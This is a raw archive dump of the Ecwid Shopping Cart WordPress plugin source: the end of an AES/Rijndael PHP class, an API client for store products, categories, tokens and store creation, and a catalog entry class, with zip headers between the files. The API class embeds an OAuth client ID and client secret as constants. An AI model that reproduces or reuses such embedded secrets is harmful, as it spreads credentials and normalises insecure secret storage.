0xD2DF599C, 0xF2733F55, 0x14CE7918, 0xC737BF73, 0xF7CDEA53, 0xFDAA5B5F, 0x3D6F14DF, 0x44DB8678, 0xAFF381CA, 0x68C43EB9, 0x24342C38, 0xA3405FC2, 0x1DC37216, 0xE2250CBC, 0x3C498B28, 0x0D9541FF, 0xA8017139, 0x0CB3DE08, 0xB4E49CD8, 0x56C19064, 0xCB84617B, 0x32B670D5, 0x6C5C7448, 0xB85742D0 )); foreach ($dt3 as $dt3i) { $dt0[] = (($dt3i << 24) & 0xFF000000) | (($dt3i >> 8) & 0x00FFFFFF); $dt1[] = (($dt3i << 16) & 0xFFFF0000) | (($dt3i >> 16) & 0x0000FFFF); $dt2[] = (($dt3i << 8) & 0xFFFFFF00) | (($dt3i >> 24) & 0x000000FF); }; $tables = array( // The Precomputed inverse mixColumns tables dt0 - dt3 $dt0, $dt1, $dt2, $dt3, // The inverse SubByte S-Box array( 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D ) ); } return $tables; } /** * Setup the performance-optimized function for de/encrypt() * * @see Crypt_Base::_setupInlineCrypt() * @access private */ function _setupInlineCrypt() { // Note: _setupInlineCrypt() will be called only if $this->changed === true // So here we are'nt under the same heavy timing-stress as we are in _de/encryptBlock() or de/encrypt(). // However...the here generated function- $code, stored as php callback in $this->inline_crypt, must work as fast as even possible. $lambda_functions =& Ecwid_Crypt_Rijndael::_getLambdaFunctions(); // We create max. 10 hi-optimized code for memory reason. Means: For each $key one ultra fast inline-crypt function. // (Currently, for Crypt_Rijndael/AES, one generated $lambda_function cost on php5.5@32bit ~80kb unfreeable mem and ~130kb on php5.5@64bit) // After that, we'll still create very fast optimized code but not the hi-ultimative code, for each $mode one. $gen_hi_opt_code = (bool)(count($lambda_functions) < 10); // Generation of a uniqe hash for our generated code $code_hash = "Crypt_Rijndael, {$this->mode}, {$this->Nr}, {$this->Nb}"; if ($gen_hi_opt_code) { $code_hash = str_pad($code_hash, 32) . $this->_hashInlineCryptFunction($this->key); } if (!isset($lambda_functions[$code_hash])) { switch (true) { case $gen_hi_opt_code: // The hi-optimized $lambda_functions will use the key-words hardcoded for better performance. $w = $this->w; $dw = $this->dw; $init_encrypt = ''; $init_decrypt = ''; break; default: for ($i = 0, $cw = count($this->w); $i < $cw; ++$i) { $w[] = '$w[' . $i . ']'; $dw[] = '$dw[' . $i . ']'; } $init_encrypt = '$w = $self->w;'; $init_decrypt = '$dw = $self->dw;'; } $Nr = $this->Nr; $Nb = $this->Nb; $c = $this->c; // Generating encrypt code: $init_encrypt.= ' static $tables; if (empty($tables)) { $tables = &$self->_getTables(); } $t0 = $tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; // Preround: addRoundKey $encrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^ '.$w[++$wc].";\n"; } // Mainrounds: shiftRows + subWord + mixColumns + addRoundKey for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $t0[($'.$s.$i .' >> 24) & 0xff] ^ $t1[($'.$s.(($i + $c[1]) % $Nb).' >> 16) & 0xff] ^ $t2[($'.$s.(($i + $c[2]) % $Nb).' >> 8) & 0xff] ^ $t3[ $'.$s.(($i + $c[3]) % $Nb).' & 0xff] ^ '.$w[++$wc].";\n"; } } // Finalround: subWord + shiftRows + addRoundKey for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= '$'.$e.$i.' = $sbox[ $'.$e.$i.' & 0xff] | ($sbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($sbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($sbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."\n"; } $encrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) { $encrypt_block.= ', ($'.$e.$i .' & '.((int)0xFF000000).') ^ ($'.$e.(($i + $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($i + $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($i + $c[3]) % $Nb).' & 0x000000FF ) ^ '.$w[$i]."\n"; } $encrypt_block .= ');'; // Generating decrypt code: $init_decrypt.= ' static $invtables; if (empty($invtables)) { $invtables = &$self->_getInvTables(); } $dt0 = $invtables[0]; $dt1 = $invtables[1]; $dt2 = $invtables[2]; $dt3 = $invtables[3]; $isbox = $invtables[4]; '; $s = 'e'; $e = 's'; $wc = $Nb - 1; // Preround: addRoundKey $decrypt_block = '$in = unpack("N*", $in);'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block .= '$s'.$i.' = $in['.($i + 1).'] ^ '.$dw[++$wc].';'."\n"; } // Mainrounds: shiftRows + subWord + mixColumns + addRoundKey for ($round = 1; $round < $Nr; ++$round) { list($s, $e) = array($e, $s); for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $dt0[($'.$s.$i .' >> 24) & 0xff] ^ $dt1[($'.$s.(($Nb + $i - $c[1]) % $Nb).' >> 16) & 0xff] ^ $dt2[($'.$s.(($Nb + $i - $c[2]) % $Nb).' >> 8) & 0xff] ^ $dt3[ $'.$s.(($Nb + $i - $c[3]) % $Nb).' & 0xff] ^ '.$dw[++$wc].";\n"; } } // Finalround: subWord + shiftRows + addRoundKey for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= '$'.$e.$i.' = $isbox[ $'.$e.$i.' & 0xff] | ($isbox[($'.$e.$i.' >> 8) & 0xff] << 8) | ($isbox[($'.$e.$i.' >> 16) & 0xff] << 16) | ($isbox[($'.$e.$i.' >> 24) & 0xff] << 24);'."\n"; } $decrypt_block .= '$in = pack("N*"'."\n"; for ($i = 0; $i < $Nb; ++$i) { $decrypt_block.= ', ($'.$e.$i. ' & '.((int)0xFF000000).') ^ ($'.$e.(($Nb + $i - $c[1]) % $Nb).' & 0x00FF0000 ) ^ ($'.$e.(($Nb + $i - $c[2]) % $Nb).' & 0x0000FF00 ) ^ ($'.$e.(($Nb + $i - $c[3]) % $Nb).' & 0x000000FF ) ^ '.$dw[$i]."\n"; } $decrypt_block .= ');'; $lambda_functions[$code_hash] = $this->_createInlineCryptFunction( array( 'init_crypt' => '', 'init_encrypt' => $init_encrypt, 'init_decrypt' => $init_decrypt, 'encrypt_block' => $encrypt_block, 'decrypt_block' => $decrypt_block ) ); } $this->inline_crypt = $lambda_functions[$code_hash]; } } PK������Ê—[B¶Àr<\��<\��(��ecwid-shopping-cart/lib/ecwid_api_v3.phpnu�„[µü¤��������<?php require_once dirname(__FILE__) . '/ecwid_platform.php'; class Ecwid_Api_V3 { const CLIENT_ID = 'RD4o2KQimiGUrFZc'; const CLIENT_SECRET = 'jEPVdcA3KbzKVrG8FZDgNnsY3wKHDTF8'; const TOKEN_OPTION_NAME = 'ecwid_oauth_token'; const PROFILE_CACHE_NAME = 'apiv3_store_profile'; const UPDATE_STATS_CACHE_NAME = 'apiv3_store_latest_stats'; const OPTION_API_STATUS = 'ecwid_api_status'; const API_STATUS_OK = 'ok'; const API_STATUS_UNDEFINED = null; const API_STATUS_ERROR_TLS = 'fail_old_tls'; const API_STATUS_ERROR_OTHER = 'fail_other'; const API_STATUS_ERROR_TOKEN = 'fail_token'; const FEATURE_NEW_PRODUCT_LIST = 'NEW_PRODUCT_LIST'; const FEATURE_PRODUCT_FILTERS = 'PRODUCT_FILTERS'; public static function get_api_status_list() { return array( self::API_STATUS_UNDEFINED, self::API_STATUS_OK, self::API_STATUS_ERROR_TOKEN, self::API_STATUS_ERROR_TLS, self::API_STATUS_ERROR_OTHER ); } const FEATURE_VARIATIONS = 'COMBINATIONS'; const FEATURE_NEW_DETAILS_PAGE = 'NEW_DETAILS_PAGE'; public $store_id = null; protected static $profile = null; protected $_api_url; protected $_stores_api_url; protected $_categories_api_url; protected $_products_api_url; protected $_profile_api_url; protected $_starter_site_api_url; public function __construct() { $this->store_id = EcwidPlatform::get_store_id(); $this->_api_url = 'https://' . Ecwid_Config::get_api_domain() . '/api/v3/'; $this->_stores_api_url = $this->_api_url . 'stores'; $this->_categories_api_url = $this->_api_url . $this->store_id . '/categories'; $this->_products_api_url = $this->_api_url . $this->store_id . '/products'; $this->_profile_api_url = $this->_api_url . $this->store_id . '/profile'; $this->_starter_site_api_url = $this->_api_url . $this->store_id . '/startersite'; add_option( self::OPTION_API_STATUS, self::API_STATUS_UNDEFINED ); } public static function is_available() { $status = self::get_api_status(); // if ( $status == self::API_STATUS_UNDEFINED ) { return self::check_api_status(); // } return $status == self::API_STATUS_OK; } public static function connection_fails() { $status = self::get_api_status(); return in_array( $status, array( self::API_STATUS_ERROR_OTHER, self::API_STATUS_ERROR_TLS ) ); } public static function reset_api_status() { update_option( self::OPTION_API_STATUS, self::API_STATUS_UNDEFINED ); } public static function set_api_status( $new_status ) { if ( in_array( $new_status, self::get_api_status_list() ) ) { update_option( self::OPTION_API_STATUS, $new_status ); } return $new_status == self::API_STATUS_OK; } public static function get_api_status() { return get_option( self::OPTION_API_STATUS ); } public static function check_api_status() { $api = new Ecwid_Api_V3(); $token = self::_load_token(); if ( !$token ) { return self::set_api_status( self::API_STATUS_ERROR_TOKEN ); } $update_stats = EcwidPlatform::cache_get( self::UPDATE_STATS_CACHE_NAME ); if( !$update_stats ) { $update_stats = $api->get_store_update_stats(); EcwidPlatform::cache_set( self::UPDATE_STATS_CACHE_NAME, $update_stats, 60 * 5 ); } if ( $update_stats ) { return self::set_api_status( self::API_STATUS_OK ); } $transports = stream_get_transports(); $tls_fails = true; foreach ( $transports as $transport ) { $matches = array(); $is_tls = preg_match( '!tlsv(.*)!', $transport, $matches ); if ( $is_tls ) { if ( version_compare( $matches[1], '1.1', '>=' ) ) { $tls_fails = false; break; } } } if (-$tls_fails ) { return self::set_api_status( self::API_STATUS_ERROR_TLS ); } return self::set_api_status( self::API_STATUS_ERROR_OTHER ); } public static function save_token($token) { if (!$token) { update_option( self::TOKEN_OPTION_NAME, '' ); } else { EcwidPlatform::init_crypt( true ); $value = base64_encode( EcwidPlatform::encrypt( $token ) ); update_option( self::TOKEN_OPTION_NAME, $value ); } self::reset_api_status(); } public function get_categories($input_params) { if( ecwid_is_demo_store() ) { return false; } $params = array('token'); if (array_key_exists('parent', $input_params)) { $params['parent'] = $input_params['parent']; } $passthru = array( 'offset', 'limit', 'parent', 'baseUrl', 'cleanUrls', 'hidden_categories' ); foreach ($passthru as $name) { if ( array_key_exists( $name, $input_params ) ) { $params[$name] = $input_params[$name]; } } if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } $url = $this->build_request_url( $this->_categories_api_url, $params ); $result = EcwidPlatform::get_from_categories_cache($url); if ( !$result ) { $result = EcwidPlatform::fetch_url( $url ); } if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_categories_cache( $url, $result ); $result = json_decode( $result['data'] ); if ( !empty( $result->items ) ) { foreach ( $result->items as $item ) { if (Ecwid_Seo_Links::is_enabled()) { $item->seo_link = $item->url; } Ecwid_Category::from_stdclass( $item ); } } return $result; } public function has_public_categories() { $cats = $this->get_categories( array( 'limit' => 1 ) ); if( !isset($cats->total) ) return false; return $cats->total > 0; } public function get_category( $categoryId ) { if (!isset($categoryId) || $categoryId == 0 ) { return false; } $params = array('token'); if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } $url = $this->build_request_url( $this->_categories_api_url . '/' . $categoryId, $params ); $result = EcwidPlatform::get_from_categories_cache( $url ); if ( !$result ) { $result = EcwidPlatform::fetch_url( $url ); } if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_categories_cache( $url, $result ); $result = json_decode( $result['data'] ); return $result; } public function get_product( $product_id ) { if ( !$product_id ) { return false; } $params = array('token'); if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } else { $params['cleanUrls'] = 'false'; } $url = $this->build_request_url( $this->_products_api_url . '/' . $product_id, $params ); $result = EcwidPlatform::get_from_products_cache( $url ); if (!$result) { $result = EcwidPlatform::fetch_url( $url ); if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_products_cache( $url, $result ); } $result = json_decode($result['data']); return $result; } public function search_products($input_params) { $params = array('token'); $passthru = array( 'updatedFrom', 'offset', 'limit', 'sortBy', 'keyword', 'baseUrl', 'cleanUrls', 'category', 'productId' ); foreach ($passthru as $name) { if ( array_key_exists( $name, $input_params ) ) { $params[$name] = (string)$input_params[$name]; } } if ( !isset( $params['baseUrl'] ) ) { $params['baseUrl'] = Ecwid_Store_Page::get_store_url(); } if ( Ecwid_Seo_Links::is_enabled() ) { $params['cleanUrls'] = 'true'; } $params['enabled'] = 'true'; if (EcwidPlatform::get('hide_out_of_stock')) { $params['inStock'] = 'true'; } $url = $this->build_request_url( $this->_products_api_url, $params ); $result = EcwidPlatform::get_from_products_cache( $url ); if (!$result ) { $result = EcwidPlatform::fetch_url( $url ); if ($result['code'] != '200') { return false; } EcwidPlatform::store_in_products_cache( $url, $result ); } $result = json_decode($result['data']); if ( !empty( $result->items ) ) { foreach ( $result->items as $item ) { if (Ecwid_Seo_Links::is_enabled()) { $item->seo_link = $item->url; } Ecwid_Product::init_from_stdclass( $item ); } } $this->_maybe_remember_all_products($params, $result, $url); return $result; } public function get_deleted_products($input_params) { $params = array('token'); if (array_key_exists('from_date', $input_params)) { $params['from_date'] = $input_params['from_date']; } if (array_key_exists('offset', $input_params)) { $params['offset'] = $input_params['offset']; } if (array_key_exists('limit', $input_params)) { $params['limit'] = $input_params['limit']; } $result = EcwidPlatform::fetch_url( $this->build_request_url( $this->_products_api_url . '/deleted', $params ) ); if ($result['code'] != '200') { return false; } $result = json_decode($result['data']); return $result; } public function get_products($input_params) { $params = array('token'); $passthru = array( 'updatedFrom', 'offset', 'limit', 'sortBy', 'keyword', 'createdFrom', 'createdTo', 'sku' ); foreach ($passthru as $name) { if ( array_key_exists( $name, $input_params ) ) { $params[$name] = $input_params[$name]; } } if ( isset( $params['createdTo'] ) ) { // For some reason createdTo does not include the exact timestamp while createdFrom does $params['createdTo']++; } $result = EcwidPlatform::fetch_url( $this->build_request_url( $this->_products_api_url, $params ) ); if ($result['code'] != '200') { return false; } $result = json_decode($result['data']); return $result; } protected static function _load_token() { $db_value = get_option(self::TOKEN_OPTION_NAME); if (empty($db_value)) return false; if (strlen($db_value) == 64) { $encrypted = base64_decode($db_value); if (empty($encrypted)) return false; $token = EcwidPlatform::decrypt($encrypted); if ($token == $db_value) { return false; } } else { $token = $db_value; } return $token; } public static function get_token() { $config_value = Ecwid_Config::get_token(); if ($config_value) return $config_value; return self::_load_token(); } public function get_oauth_dialog_url($redirect_uri, $scope) { if ( !$scope || !$redirect_uri ) { return null; } $url = Ecwid_Config::get_oauth_auth_url(); $query = array(); $query['source'] = 'wporg'; $query['client_id'] = Ecwid_Config::get_oauth_appid(); $query['redirect_uri'] = $redirect_uri; $query['response_type'] = 'code'; $query['scope'] = $scope; if ( Ecwid_Config::get_channel_id() ) { $query['partner'] = Ecwid_Config::get_channel_id(); } foreach ($query as $key => $value) { $query[$key] = urlencode($value); } return $url . '?' . build_query( $query ); } public function does_store_exist($email) { $params = array( 'appClientId', 'appSecretKey', 'email' => $email ); $url = $this->build_request_url($this->_stores_api_url, $params); $request = Ecwid_Http::create_get('does_store_exist', $url, array( Ecwid_Http::POLICY_RETURN_VERBOSE )); if (!$request) { return false; } $result = $request->do_request(); return @$result['code'] == 200; } public function get_store_update_stats() { static $stats = null; if ( $stats ) return $stats; $url = $this->_api_url . $this->store_id . '/latest-stats'; $params = array( 'token' => self::get_token() ); $url = $this->build_request_url($url, $params); $result = EcwidPlatform::fetch_url($url); if ( !isset( $result['data'] ) ) { return null; } $stats = json_decode($result['data']); return $stats; } public function get_store_profile() { if( ecwid_is_demo_store() ) { return false; } $profile = EcwidPlatform::cache_get( self::PROFILE_CACHE_NAME ); if ( $profile ) { return $profile; } $params = array( 'token' => self::get_token() ); $url = $this->build_request_url($this->_profile_api_url, $params); $result = EcwidPlatform::fetch_url($url); if ( @$result['code'] == '403' ) { self::set_api_status( self::API_STATUS_ERROR_TOKEN ); Ecwid_Api_V3::save_token(''); return false; } if ( self::get_api_status() == self::API_STATUS_OK && ( @$result['code'] != '200' || empty($result['data'] ) ) ) { ecwid_log_error( var_export( $result, true ) ); self::set_api_status( self::API_STATUS_UNDEFINED ); return false; } $profile = json_decode($result['data']); EcwidPlatform::cache_set( self::PROFILE_CACHE_NAME, $profile, 60 * 5 ); if ($profile && isset($profile->settings) && isset($profile->settings->hideOutOfStockProductsInStorefront)) { EcwidPlatform::set('hide_out_of_stock', $profile->settings->hideOutOfStockProductsInStorefront); } add_action( 'wp' , array( 'Ecwid_Store_Page', 'set_store_url' ) ); return $profile; } public function update_store_profile( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_profile_api_url, $request_params ); $result = $this->_do_put( $url, $params ); if( !is_wp_error($result) && @$result['response']['code'] == '200' ) { return $result; } return false; } public function is_store_feature_enabled( $feature_name ) { static $features = array(); if ( !empty( $features ) && array_key_exists( $feature_name, $features ) ) { return $features[$feature_name]['enabled']; } $profile = $this->get_store_profile(); if (!$profile) { return false; } $toggles = @$profile->featureToggles; if ( !$toggles ) { return false; } foreach ( $toggles as $feature ) { if ( $feature->name == $feature_name ) { $features[$feature_name] = array(); $features[$feature_name]['enabled'] = $feature->enabled; return $feature->enabled; } } return false; } public function create_store() { global $current_user; $admin_email = $current_user->user_email; $admin_first = get_user_meta($current_user->ID, 'first_name', true); if (!$admin_first) { $admin_first = get_user_meta($current_user->ID, 'nickname', true); } $admin_last = get_user_meta($current_user->ID, 'last_name', true); if (!$admin_last) { $admin_last = get_user_meta($current_user->ID, 'nickname', true); } $admin_name = "$admin_first $admin_last"; $admin_nickname = $current_user->display_name; $store_url = Ecwid_Store_Page::get_store_url(); $site_name = get_bloginfo('name'); $site_email = get_option('admin_email'); $timezone = get_option('timezone_string', 'UTC+0'); $params = array( 'merchant' => array( 'email' => $admin_email, 'name' => $admin_name, 'password' => wp_generate_password(8), 'ip' => in_array($_SERVER['REMOTE_ADDR'], array('127.0.0.1', '::1')) ? '35.197.29.131' : $_SERVER['REMOTE_ADDR'] ), 'affiliatePartner' => array( 'source' => 'wporg' ), 'profile' => array( 'generalInfo' => array( 'storeUrl' => $store_url ), 'account' => array( 'accountName' => $admin_name, 'accountNickName' => $admin_nickname, 'accountEmail' => $admin_email ), 'settings' => array( 'storeName' => $site_name ), 'mailNotifications' => array( 'adminNotificationEmails' => array($site_email), 'customerNotificationFromEmail' => $site_email ), 'formatsAndUnits' => array( 'timezone' => $timezone ) ), ); $ref = apply_filters( 'ecwid_get_new_store_ref_id', '' ); if ($ref) { $params['affiliatePartner']['ambassador'] = array( 'ref' => $ref ); } $request_params = array( 'appClientId', 'appSecretKey', 'returnApiToken' => 'true' ); $url = $this->build_request_url($this->_stores_api_url, $request_params); $result = EcwidPlatform::http_post_request( $url, json_encode($params), array( 'timeout' => 20, 'headers' => array( 'Content-Type' => 'application/json;charset="utf-8"') ) ); return $result; } public static function format_time($time) { return strftime('%F %T', $time); } protected function build_request_url($url, $input_params) { $params = array(); foreach ($input_params as $key => $param) { if ( !is_string( $key ) ) { if ($param == 'appClientId') { $params['appClientId'] = Ecwid_Config::get_oauth_appid(); } elseif ($param == 'appSecretKey') { $params['appSecretKey'] = Ecwid_Config::get_oauth_appsecret(); } elseif ($param == 'token') { $params['token'] = self::get_token(); } }else { $params[$key] = urlencode($param); } } $lang = apply_filters( 'ecwid_lang', null ); if( !empty($lang) ) { $params['lang'] = $lang; } return $url . '?' . build_query($params); } public function create_product( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url, $request_params ); $params = $this->_sanitize_product_data( $params ); $result = $this->_do_post( $url, $params ); return $result; } public function create_product_variation( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/combinations', $request_params ); $result = $this->_do_post( $url, $params ); return $result; } public function update_product( $params, $product_id ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $product_id, $request_params ); $params = $this->_sanitize_product_data( $params ); $result = $this->_do_put( $url, $params ); return $result; } protected function _sanitize_product_data( $data ) { $int_fields = array( 'quantity', 'defaultCategoryId', 'showOnFrontPage' ); foreach ( $int_fields as $field ) { if ( array_key_exists( $field, $data ) ) { $data[$field] = intval( $data[$field] ); } } $float_fields = array( 'price' ); foreach ( $float_fields as $field ) { if ( array_key_exists( $field, $data ) ) { $data[$field] = floatval( $data[$field] ); } } if ( array_key_exists( 'categoryIds', $data ) ) { foreach ( $data['categoryIds'] as $key => $id ) { $data['categoryIds'][$key] = intval( $id ); } } return $data; } public function create_category( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_categories_api_url, $request_params ); $params = $this->_sanitize_category_data( $params ); $result = $this->_do_post( $url, $params ); return $result; } public function update_category( $params, $category_id ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_categories_api_url . '/' . $category_id, $request_params ); $params = $this->_sanitize_category_data( $params ); $result = $this->_do_put( $url, $params ); return $result; } protected function _sanitize_category_data( $data ) { $result = array(); $int_fields = array( 'parentId', 'orderBy' ); foreach ( $int_fields as $field ) { if ( array_key_exists( $field, $data ) ) { $data[$field] = intval( $data[$field] ); } } return $data; } public function delete_products( $ids ) { $request_params = array( 'token' ); $requests = array(); foreach ( $ids as $id ) { $requests[] = array( 'type' => Requests::DELETE, 'url' => $this->build_request_url( $this->_products_api_url . '/' . $id, $request_params ) ); } $result = Requests::request_multiple( $requests ); return $result; } public function upload_category_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_categories_api_url . '/' . $params['categoryId'] . '/image', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function upload_product_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/image', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function upload_product_gallery_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/gallery', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function upload_product_variation_image( $params ) { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_products_api_url . '/' . $params['productId'] . '/combinations/' . $params['variationId'] . '/image', $request_params ); $result = $this->_do_post( $url, $params['data'], true ); return $result; } public function get_starter_site_info() { $request_params = array( 'token' ); $url = $this->build_request_url( $this->_starter_site_api_url, $request_params ); $result = EcwidPlatform::fetch_url( $url ); if ( !isset( $result['data'] ) ) { return null; } $data = json_decode( $result['data'] ); return $data; } protected function _do_post( $url, $data, $raw = false ) { $result = wp_remote_post( $url, array( 'body' => $raw ? $data : json_encode( $data ), 'timeout' => 20, 'headers' => array( 'Content-Type' => 'application/json;charset="utf-8"' ) ) ); if ( is_array( $result ) ) { $result['http_message'] = $this->_get_response_message_from_wp_remote_results( $result ); $json_result = $result['body']; $api_error = json_decode( $json_result ); if ( is_object( $api_error ) ) { $result['api_code'] = @$api_error->errorCode; $result['api_message'] = @$api_error->errorMessage; } } return $result; } protected function _do_put( $url, $data, $raw = false ) { $result = wp_remote_post( $url, array( 'body' => $raw ? $data : json_encode( $data ), 'timeout' => 20, 'headers' => array( 'Content-Type' => 'application/json;charset="utf-8"' ), 'method' => 'PUT' ) ); if ( is_array( $result ) ) { $result['api_message'] = $this->_get_response_message_from_wp_remote_results( $result ); } return $result; } protected function _get_response_message_from_wp_remote_results( $result ) { $raw = $result['http_response']->get_response_object()->raw; $pattern = '!HTTP/1.1 [0-9][0-9][0-9] (.*)!'; if ( preg_match( $pattern, $raw, $matches ) ) { return substr( $matches[1], 0, strlen($matches[1] ) - 1 ); } return null; } protected function _maybe_remember_all_products($params, $result, $url) { $limiting_params = array( 'updatedFrom', 'keyword', 'category', 'productId' ); $all = true; foreach ($limiting_params as $param) { if (array_key_exists($param, $params)) { $all = false; break; } } if ($all) { EcwidPlatform::store_in_products_cache('ecwid_total_products', $result->total); if ($result->total < 100 && $result->count == $result->total) { EcwidPlatform::store_in_products_cache('ecwid_all_products_request', $url); } else { EcwidPlatform::store_in_products_cache('ecwid_all_products_request', ''); } } } }PK������Ê—[ã‡ô5 ��5 ��/��ecwid-shopping-cart/lib/ecwid_catalog_entry.phpnu�„[µü¤��������<?php abstract class Ecwid_Catalog_Entry { protected $_data; protected $_cache_name_prefix = null; protected $_link_prefix = null; protected function __construct() { $this->_data = new stdClass(); } public function __get( $name ) { if ( $name == 'link' ) { return $this->get_link(); } if ( isset($this->_data->$name) ) { return $this->_data->$name; } return null; } public function __isset( $name ) { if ($name == 'link') { $link = $this->get_link(); return (bool) $link; } return isset( $this->_data->$name ); } public static function from_stdclass( $data ) { trigger_error('from_stdclass should never be called from Ecwid_catalog_Entry'); return false; } public static function get_by_id( $id ) { trigger_error('get_by_id should never be called from Ecwid_catalog_Entry'); return false; } public function get_link( $baseUrl = false ) { if ( !isset( $this->_data->id ) ) { return false; } if ( Ecwid_Seo_Links::is_enabled() ) { return $this->get_seo_link( $baseUrl ); } else { if ( !$baseUrl ) { $baseUrl = Ecwid_Store_Page::get_store_url(); } $url = $baseUrl . '#!/'; if ( isset( $this->_data->name ) ) { $url .= $this->_linkify( $this->_data->name ) . '/'; } $url .= $this->_link_prefix . '/' . $this->_data->id; return $url; } return false; } public function get_seo_link( $baseUrl = '' ) { if ( $this->_data->id && isset($this->_data->name) ) { if ( !$baseUrl ) { if ( Ecwid_Store_Page::is_store_page() ) { $baseUrl = get_permalink(); } else { $baseUrl = Ecwid_Store_Page::get_store_url(); } } $url = $baseUrl; if ($url && strlen($url) > 0 && strrpos($url, '/') != strlen($url) - 1) { $url .= '/'; } $url .= $this->_linkify( $this->_data->name ) . '-' . $this->_link_prefix . $this->_data->id; return $url; } else if ( isset( $this->_data->seo_link ) ) { return $this->_data->seo_link; } return false; } protected function _get_cache_key_by_id( $id ) { return $this->_cache_name_prefix . $id; } protected function _linkify( $str ) { $match = array(); $result = preg_match_all('#[\p{L}0-9\-_]+#u', $str, $match); if ( $result && count( @$match[0] ) > 0 ) return implode('-', $match[0] ); return urlencode($str); } }PK������Ê—[ºÀËã‘ ��‘ 